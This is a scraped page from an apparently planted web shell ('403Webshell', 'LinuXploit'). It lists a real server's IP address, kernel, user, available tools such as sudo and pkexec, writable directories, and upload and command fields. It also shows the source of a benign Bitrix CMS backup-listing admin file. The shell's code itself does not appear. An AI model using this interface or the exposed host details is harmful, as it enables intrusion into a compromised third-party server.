403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/bitrixcloud/admin/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/bitrixcloud/admin/bitrixcloud_backup.php
<?php
define('ADMIN_MODULE_NAME', 'bitrixcloud');
require_once $_SERVER['DOCUMENT_ROOT'] . '/bitrix/modules/main/include/prolog_admin_before.php';
IncludeModuleLangFile(__FILE__);
/** @var CMain $APPLICATION */
/** @var CUser $USER */
if (!$USER->CanDoOperation('bitrixcloud_backup') || !CModule::IncludeModule('bitrixcloud'))
{
	$APPLICATION->AuthForm(GetMessage('ACCESS_DENIED'));
}

$APPLICATION->SetTitle(GetMessage('BCL_BACKUP_TITLE'));

try
{
	$backup = CBitrixCloudBackup::getInstance();
	$arFiles = $backup->listFiles();
	$backup->saveToOptions();

	$sTableID = 't_bitrixcloud_backup';
	$lAdmin = new CAdminList($sTableID);
	$arHeaders = [
		[
			'id' => 'FILE_NAME',
			'content' => GetMessage('BCL_BACKUP_FILE_NAME'),
			'default' => true,
		],
		[
			'id' => 'FILE_SIZE',
			'content' => GetMessage('BCL_BACKUP_FILE_SIZE'),
			'align' => 'right',
			'default' => true,
		],
	];
	$lAdmin->AddHeaders($arHeaders);
	$rsData = new CDBResult;
	$rsData->InitFromArray($arFiles);
	$rsData = new CAdminResult($rsData, $sTableID);
	$arData = [];
	while ($arRes = $rsData->Fetch())
	{
		if (preg_match('/^(\d{8}_\d{6}_\d+)\./', $arRes['FILE_NAME'], $match))
		{
			if (!isset($arData[$match[1]]))
			{
				$arData[$match[1]] = [
					'FILE_NAME' => rtrim($arRes['FILE_NAME'], '.0123456789'),
					'FILE_SIZE' => $arRes['FILE_SIZE'],
				];
			}
			else
			{
				$arData[$match[1]]['FILE_SIZE'] += $arRes['FILE_SIZE'];
			}
		}
		else
		{
			$arData[$arRes['FILE_NAME']] = $arRes;
		}
	}
	krsort($arData);
	foreach ($arData as $arRes)
	{
		$row = $lAdmin->AddRow($arRes['FILE_NAME'], $arRes);
		$row->AddViewField('FILE_SIZE', CFile::FormatSize($arRes['FILE_SIZE']));
	}

	if (CModule::IncludeModule('clouds'))
	{
		$aContext = [
			[
				'TEXT' => GetMessage('BCL_BACKUP_DO_BACKUP'),
				'LINK' => '/bitrix/admin/dump.php?lang=' . LANGUAGE_ID . '&from=bitrixcloud',
				'TITLE' => '',
				'ICON' => 'btn_new',
			],
		];
		$lAdmin->AddAdminContextMenu($aContext, /*$bShowExcel=*/false);
	}

	$lAdmin->CheckListMode();

	require_once $_SERVER['DOCUMENT_ROOT'] . '/bitrix/modules/main/include/prolog_admin_after.php';
	/*
	CModule::IncludeModule("bitrixcloud");
	$backup = CBitrixCloudBackup::getInstance();
	$arFiles = $backup->listFiles();
	$backup->saveToOptions();
	$fileName = FormatDate("Ydm_His_", time()).mt_rand(0, 999).".enc.gz";
	$check_word = 'testing';
	$fileName = FormatDate("Ydm_His_", time()).mt_rand(0, 999).".enc.gz";
	if($_GET["action"] == "write")
	{
		$obBucket = $backup->getBucketToWriteFile($check_word, $fileName);
		echo "<pre>",htmlspecialcharsbx(print_r($fileName,1)),"</pre>";
		if($obBucket->Init())
		{
			$obBucket->setPublic(false);
			//$obBucket->SaveFile($fileName, CFile::MakeFileArray(1));

			$obUpload = new CCloudStorageUpload($fileName);
			if(!$obUpload->isStarted())
			{
				$obBucket->setCheckWordHeader();
				echo "start: ", $res = $obUpload->Start($obBucket, 7*1024*1024), "<br>";
				if(!$res)
				{
					var_dump($APPLICATION->getException());
				}
				else
				{
					$obBucket->unsetCheckWordHeader();
					echo "first: ", $obUpload->Next(str_repeat("1234\n", 1024*1024), $obBucket), "<br>";
					$obBucket->unsetCheckWordHeader();
					echo "end: ", $obUpload->Next(str_repeat("5\n", 1024*1024), $obBucket), "<br>";
					$obBucket->unsetCheckWordHeader();
					echo "finish: ", $obUpload->Finish($obBucket), "<br>";
				}
			}
		}
	}
	*/
	CAdminMessage::ShowMessage([
		'TYPE' => 'PROGRESS',
		'DETAILS' => '<p><b>' . GetMessage('BCL_BACKUP_USAGE', [
			'#QUOTA#' => CFile::FormatSize($backup->getQuota()),
			'#USAGE#' => CFile::FormatSize($backup->getUsage()),
		]) . '</b></p>#PROGRESS_BAR#',
		'HTML' => true,
		'PROGRESS_TOTAL' => $backup->getQuota(),
		'PROGRESS_VALUE' => $backup->getUsage(),
	]);

	$lAdmin->DisplayList();
	echo BeginNote(), GetMessage('BCL_BACKUP_NOTE'), EndNote();
}
catch (Exception $e)
{
	require_once $_SERVER['DOCUMENT_ROOT'] . '/bitrix/modules/main/include/prolog_admin_after.php';
	CAdminMessage::ShowMessage($e->getMessage());
	$arFiles = false;
}

require_once $_SERVER['DOCUMENT_ROOT'] . '/bitrix/modules/main/include/epilog_admin.php';

Youez - 2016 - github.com/yon3zu
LinuXploit